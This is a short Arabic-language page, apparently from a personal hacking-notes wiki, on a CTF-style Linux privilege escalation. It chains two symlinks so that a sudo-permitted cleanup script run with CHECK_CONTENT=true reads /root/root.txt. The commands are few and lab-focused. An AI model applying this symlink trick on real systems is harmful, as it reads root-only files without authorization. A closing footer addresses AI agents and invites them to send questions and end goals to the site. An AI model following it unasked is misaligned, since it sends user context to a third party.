> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md).

# سودو Double Symlink - تصعيد امتيازات Linux

## ما هو

يبدأ تصعيد الامتيازات في sudoers بالأوامر التي يمكن للمستخدم تشغيلها عبر `sudo`. يمكن للثنائيات المهيأة بشكل خاطئ، ومعاملات البرامج النصية غير الآمنة، ومعالجة الروابط الرمزية، وإصدارات sudo الضعيفة أن تحول صلاحيات sudo المحدودة إلى غلاف root. تركز هذه الصفحة تحديدًا على **سودو (ارتباط رمزي مزدوج)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
sudo -l
sudo --version
```

## أمثلة

### سودو - Clean/\_synLink.sh

نحن نبحث عن ثغرة تسمح بتصعيد الامتيازات. نكتشف ملفًا بأذونات SUID.

<figure><img src="/files/9519b054d6385bf6093ee26b0966b7a08e6e9c72" alt=""><figcaption></figcaption></figure>

#### **تحليل سكربت تنظيف الروابط الرمزية**

> نقوم بتحليل سكربت يُسمّى `clean_symlink.sh`، والذي يتحقق مما إذا كان الملف الممرَّر كوسيط هو رابط رمزي يشير إلى ملف `.png` ملف. إذا كان الرابط الرمزي يشير إلى ملفٍ حرج، يحذفه السكربت. وإلا، ينقل الرابط الرمزي إلى `/var/quarantined/` الدليل. إذا كان متغير البيئة `CHECK_CONTENT` مُعيَّنًا إلى `صحيحة`، يحاول السكربت قراءة محتويات الملف.

هذا هو الأمر لإنشاء الروابط الرمزية اللازمة للتشغيل:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

ثم نشغّل السكربت بالأمر التالي للحصول على علم الجذر:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

وبذلك نحصل على العلم `root.txt`.

<figure><img src="/files/a44f25229a9d216e100d55b6f65b36d879ee6b40" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
